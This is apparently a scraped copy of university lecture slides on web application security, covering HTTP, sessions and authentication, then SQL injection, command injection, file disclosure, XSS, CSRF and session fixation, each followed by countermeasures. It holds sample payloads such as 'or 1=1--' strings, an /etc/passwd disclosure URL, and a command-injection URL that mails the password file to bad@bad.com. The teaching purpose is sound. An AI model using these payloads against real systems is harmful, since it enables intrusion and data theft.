View
221
Download
0
Category
Tags:
Preview:
Citation preview
1
ISEC0511Programming for Information
System Security
Lecture Notes #4Security in Web Applications
Web Application Basics Web applications generally use
following communication protocols. Hypertext Transfer Protocol (HTTP) HTTP Secured (HTTPS).
User interface could be Hypertext Markup Language (HTML) with JavaScript (JS) running on browsers.
Clients can be any kind of computing devices that can run a browser: PC, PDA, smart phone, etc.
2
Web Application Basics
On the server side, the server software can be: Web server. Serves static web contents, such as
HTML files, JavaScript files, images, etc. Application server. Serves dynamic web contents,
mostly programmed by JSP, PHP, ASP, ASP.Net . Applications developed to run on application
server is called “web application”, commonly called “webapp”.
Note that, in webapp, human interacts with the application. In web services, application interacts with applications.
3
Webapp vs. Web Services
Web application
Web services
4
Webapp
Webapp
Web Service
Web Service
Application Layers for Static Web
5
Web ServerWeb Server
HTML + JSHTML + JS
OS
BrowserBrowser
OS
HTML + JSHTML + JS
Application Layers for Webapp
6
Application ServerApplication Server
Web application(JSP, PHP, ASP)Web application(JSP, PHP, ASP)
OS
BrowserBrowser
OS
HTML + JSHTML + JS
Web Client Web Server
Protocol Stack for Webapp
Several network protocols are used in the protocol stack
7
TCPTCP
HTTPHTTP
IP
TCPTCP
HTTPHTTP
IP
HTTP Protocol
HTTP stands for Hypertext Transfer Protocol.
HTTP is the communication protocol used between a web browser and a web server
Main characteristics HTTP is connectionless. HTTP is media independent. HTTP is stateless.
8
HTTP Methods
Common HTTP methods (request) are: GET method: used to retrieve
information from the web server with specific URI (Universal Resource Identifier).
HEAD method: similar to GET, but used to get only the header part of the response.
9
/getdata.cgi?home=Mosby&favorite+flavor=flies
HTTP Methods
POST method: used to retrieved information from the web server, but request content is in the message body.
10
POST /path/script.cgi HTTP/1.0From: frog@jmarshall.comUser-Agent: HTTPTool/1.0Content-Type: application/x-www-form-urlencoded Content-Length: 32
home=Mosby&favorite+flavor=flies
URL Encoding If data contain special characters, they
must be encoded in the URL. Here are the list of reserved and non-
reserved characters. Other character must be percent-
encoded.
11
! * ' ( ) ; : @ & = + $ , / ? # [ ]%21 %2A %27 %28 %29 %3B %3A %40 %26 %3D %2B %24 %2C %2F %3F %23 %5B %5D
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
a b c d e f g h i j k l m n o p q r s t u v w x y z
0 1 2 3 4 5 6 7 8 9 - _ . ~
HTTP Cookies
HTTP cookies is a piece of text stored by a user's web browser.
12
Security Challenge on the Web
One major security challenge is that every browser allows the user to see the source code of the current page.
Source code contents include HTML and JavaScript.
This will allow an adversary to know field details and the type of validation or check being performed by the JavaScript.
Also, it’s not mandatory that HTTP request be submitted by a browser. Anyone or any tool that knows HTTP can submit a request.
13
Sessions
HTTP is fundamentally session-less. State information must be handled
by web applications Common mechanism to handle
session are: Hidden parameters
Browser cookies
14
http://forums.adobe.com/message/2011291;jsessionid=9519B628B1763FF2DAF437F7240EEC99.node0
Authentication Issues
Many resources are protected for a legitimate user through authentication on the web.
Users are authenticated before accessing protected resource.
For a web site, authentication can be done by a web server usually by configuration files.
For a web application, authentication is done by the application itself. The application sever only provides mechanism for manage session IDs.
15
Basic/Digest Authentication
When a particular resource within the realm is accessed by a user, the Web server sends a HTTP 401 response (authentication required header) with the response to the request.
A login dialog box pops up in the browser. Browser submits data again and
authenticated by the web server. Authentication data is sent along with
every HTTP request to the server.
16
Basic/Digest Authentication
In Basic authentication, the username and password are sent as cleartext (BASE64 encoded).
In Digest authentication, the password is hashed at the browser using the Message
MD5 algorithm is used and the hash value is sent to the server
17
Web Form Authentication
For a web application, the application server provides means to manage session ID between browser and app server.
When authentication succeeds, the application tags the session ID as authenticated.
The application remembers which session is already authenticated by looking at the session ID from the browser whether it has authentication tag.
18
Authentication Issues
There are security measures that should be taken when doing authentication: Use strong passwords. Do not store cleartext credentials in
configuration files. Do not pass cleartext credentials over the
network. Do not allow over-privileged accounts. Do not allow prolonged session lifetime. Allow personalization and caching of
authentication information.
19
Cryptography and Privacy
To preserve user’s privacy, it is necessary that the confidential and private information flowing through the Internet is encrypted.
This can be achieved through a virtual private network (VPN) or encryption.
The trade-off is that encryption generally put higher load on the server (and also the client).
20
Cryptography and Privacy
Measures: Use proven cryptography algorithms. Do not use custom-made algorithms. Do not use any key that is small. Ciphering key-exchange algorithms should be
robust; distribute keys in a secure manner. Secure the encryption keys; if the keys are
compromised the whole security system is compromised.
Change the key regularly so that the same key is not used for a prolonged period of time.
21
Configuration File Management
Configuration files usually contain important information. Thus, it should be protected from being accessed or modified.
For modern web application, there usually is a configuration file that contains username and password to connect to a database server.
Measures: Use secured administration interfaces. Store the configuration information in secured
stores.
22
Configuration File Management
Always delete sensitive data if a transaction is either successful or fails.
Avoid storing of configuration data in cleartext, especially security-related data.
Avoid many administrators and multiple administration interfaces.
Avoid sharing administrative account among administrators.
23
Session Management
In web applications we maintain sessions through state information, which always flow between client and server.
Session hijacking can be done if attacker can capture state information.
24
Client Server
Attacker
Session Management
Measures: Never pass session IDs over
unencrypted channels. Do not permit prolonged session
lifetime. Do not store session state in a unsafe
store, both client-side and server-side.
Avoid placing session IDs in query strings (URI).
25
Security Issues with Webapp Denial of Service attack Server information exposure Code injection SQL injection Parameter tampering File disclosure Command execution Buffer overflow Cross-site scripting (XSS) Cross-site Request Forgery (CSRF) Session Fixation Attack
26
Denial-of-Service Attack
DoS attack can be done at different points. Operating system running the web
application or web server Network stack attack, e.g. half-open TCP Bugs or vulnerabilities on the web
server or application server. Bugs or vulnerabilities on the web
application itself (fixed by secure coding and safe programming)
27
Server Information Exposure
Information exposed when an error or exception occurs on the server should be minimal.
The philosophy behind error message is the user should get sufficient information from the error message to correct the error and try the right steps.
28
Server Information Exposure
29
Code Injection
Common code injection attack in web applications is SQL injection.
The root of all code injection problems is that developers put too much trust in the users of applications.
It is also not mandatory that a user will always use a browser.
An attacker may use some homegrown browser that can be used to do all sorts of illegitimate things.
30
SQL Injection Attack
SQL injection attack is done by injecting special partial SQL command to be appended at the server side to get executed.
For example: program at the server side:
For normal circumstance, assume docid is “55072”, SQL becomes:
31
SQL = "SELECT docid, docname FROM documentlist WHERE docid = '" + docId + "'";
SELECT docid, docname FROM documentlist WHERE docid = ‘55072’
SQL Injection Attack
Many attacks target on the WHERE clause of the SQL.
Some basic on the WHERE clause: WHERE cusid = ‘john’ WHERE docid = 300 WHERE docname LIKE ‘%Oracle%’ WHERE type = ‘saving’ AND balance >
10000 WHERE ( type = ‘sales’ OR name LIKE ‘M%’ )
SQL comment symbol is "-- "
32
SQL Injection Attack
Now, let docid be
This makes SQL becomes
The results becoming from database server would return all documents in the database !!!
33
55072’ OR ‘1’ = ’1
SELECT docid, docname FROM documentlist WHERE docid = ‘55072’ OR ‘1’ = ‘1’
Common SQL Injection Tricks
‘ or 1=1-- “ or 1=1-- or 1=1-- ‘ or ‘a’=’a “ or “a”=”a ‘) or (‘a’=’a Like,
34
ok’ or 1=1-- ok” or 1=1-- ok or 1=1-- ok’ or ‘a’=’a ok” or “a”=”a ok’) or (‘a’=’a
Common SQL Injection Tricks
How about attacking the following SQL commands? To list all the users?
To always log in successfully?
To list all customers?
35
SQL = "SELECT * FROM user WHERE user = " + u + " AND pass = '" + p + "'";
SQL = "SELECT * FROM customer WHERE id = '" + u + "' or name like '" + p + "'";
SQL = "SELECT * FROM customer WHERE ( id = '" + u + "' or name like '" + p + "')";
SQL = "SELECT * FROM user WHERE user = " + u;
Code Injection through URL
In code injection through URL, special data are inserted to the URL to achieved “desired” effect.
The attacker must know how URL is encoded by the browser to send crafted data.
36
HTTP URL Encoding
Parameter starts after “?” Multiple parameters are joined by “&” Spaces are translated into “+” Special characters are translated into
%XX (hex number), for example Thai characters. (try searching for TIS-620 table from the web) % is translated into %25
For example
37
http://www.mycompany.com/list.jsp?type=customer&type=savinghttp://www.mycompany.com/detail.jsp?cusname=john+macquire
Code Injection through URL Example
For example, normal URL is
Command to create at the server is:
This would also list all the documents from the database.
38
http://www.mycom.com/manuals.jsp?docid=55072
http://www.mycom.com/manual.jsp?docid=55072’+OR+’1’=+’1
Command Injection in SQL Injection
In addition to manipulate SQL where clause, under some circumstances, you may be able to fully inject another SQL command.
For example:
39
http://www.mycom.com/manual.jsp?docid=55072'; insert+into+documentlist+values+('99999','hoho');--+
Parameter Tampering
Most web requests contain parameters from the client-side, which cannot be fully trust.
SQL injection is also done by manipulating request parameters.
In basic forms, parameter tampering may let attacker to change any parameters submitting to web server at will.
JavaScript validation at the client side does not work since the attacker may use any tools he/she likes.
Thus, validation on the client side is only for web browsing experience, not for security.
40
Parameter Tampering
Measures: Validate all input parameters at the server
side. Avoid storing sensitive data in unencrypted
cookies. Avoid storing sensitive data in query strings
and form fields. Never trust HTTP header information. Disable View Source on the browser and stop
the user from seeing the HTML source. Note that, this can only stop naive hackers, not experience ones.
41
File Disclosure
Generally, any files under web root directory can be accessed by using URL.
Do not put files that contain sensitive information under web root directory.
Attack URL can be:
Also, do not allow client side to specify file location that will be read by webapp.
Attack URL can be:
42
http://www.mycom.com/any/path/you/like/important.dat
http://www.mycom.com/openfile?file=data.txt
http://www.mycom.com/openfile?file=/etc/passwd
Command Execution
Avoid parameter from the URL to be appended to executed command on the server side.
OS-level command at the server side may be
However, you may get URL like:
You, in turn, run:43
http://my.com/openfile?file=data.txt
grep saving data.txt
http://my.com/openfile?file=data.txt;cat+/etc/passwd|mail+bad@bad.com
grep saving data.txt ; cat /etc/passwd | mail bad@bad.com
Buffer Overflow Attack
Buffer overflow attack can also be done by using web requests.
However, crafting a web request in order to get buffer attack to run specific command is not easy, but possible.
44
Cross-Site Scripting (XSS)
Cross-site scripting attack (XSS) is done by submitting commands (usually JavaScript) to vulnerable web site.
When a legitimate user browses into the web site, command flows from the server back to browser and gets executed by the user.
Damage depends on the victim’s privilege.
45
Attacker
VulnerableWeb Application
Victim User
1: submit crafted data
2: browse and run the submitted commands.
Cross-Site Scripting (XSS)
For example, instead of submitting forum message to the web application like this:
The attacker submits:
or
When a victim browses into the forum, the command flows from the server to the browser, and the browser of the victim pops up a new window to google !!
46
Hi, there
<script type="text/javascript">alert('hello. Got ya.');</script>
<script type="text/javascript">window.open('http://www.google.com');</script>
Cross-Site Scripting (XSS)
It’s advise for web application to escape following characters when feeding data back to browsers. < (() > ()) # (#) “ (") ‘ (') & (&)
47
Cross-Site Request Forgery (CSRF)
In a more advanced setup, affected web server may be another web server that the victim user has authorized to access.
48
Attacker
VulnerableWeb Application
Victim User
1: submit crafted data
2: browse vulnerable web
page.
VictimWeb Application
3: run the submitted commands on
another application.
Cross-Site Request Forgery (CSRF)
Example
Victim must pre-authenticate to the target web site, or no authentication is required.
Target site must not check HTTP “Referer” header.
49
<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">
Session Fixation Attack (1)
1. Mallory has determined that http://unsafe/ accepts any session identifier, accepts session identifiers from query strings and has no security validation, thus not secure.
2. Mallory sends Alice an e-mail: "Hey, check this out, there is a cool new account summary feature on our bank, http://unsafe/?SID=<Fixed SID>".
3. Alice is interested and visits http://unsafe/?SID=<Fix SID>. The usual log-on screen pops up, and Alice logs on.
4. Mallory visits http://unsafe/?SID=<Fixed SID> and now has unlimited access to Alice's account.
50
Session Fixation Attack (2)
Attack using server generated SID Mallory visits http://vulnerable/ and checks
which SID is returned. For example, the server may respond: Set-Cookie: SID=0D6441FEA4496C2.
Mallory is now able to send Alice an e-mail: "Check out this new cool feature on our bank, http://vulnerable/?SID=0D6441FEA4496C2."
Alice logs on, with fixated session identifier SID=0D6441FEA4496C2.
51
Session Fixation Attack (3)
Attacks using cross-subdomain cooking A web site www.example.com hands out
subdomains to untrusted third parties One such party, Mallory, who now controls
evil.example.com, lures Alice to her site A visit to evil.example.com sets a session cookie
with the domain .example.com on Alice's browser When Alice visits www.example.com, this cookie
will be sent with the request, as the specs for cookies states, and Alice will have the session specified by Mallory's cookie.
If Alice now logs on, Mallory can use her account.
52
Session Fixation Protections
Do not accept session identifiers from GET / POST variables.
Identity confirmation for important requests. Store session identifiers in HTTP cookies. Utilize SSL / TLS Session identifier. Accept only server generated SIDs. Logout function. Time-out old SIDs. Destroy session if referrer is suspicious. Check user agent.
53
OWASP Top-10 (2010)
Previous version is 2007. The OWASP Top 10 Web Application
Security Risks for 2010 are: A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session
Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF)
54
OWASP Top-10 (2010)
A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URL Access A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards
55
Readings
Architecting Secure in Web-facing Application, Chapter 8.
56
Recommended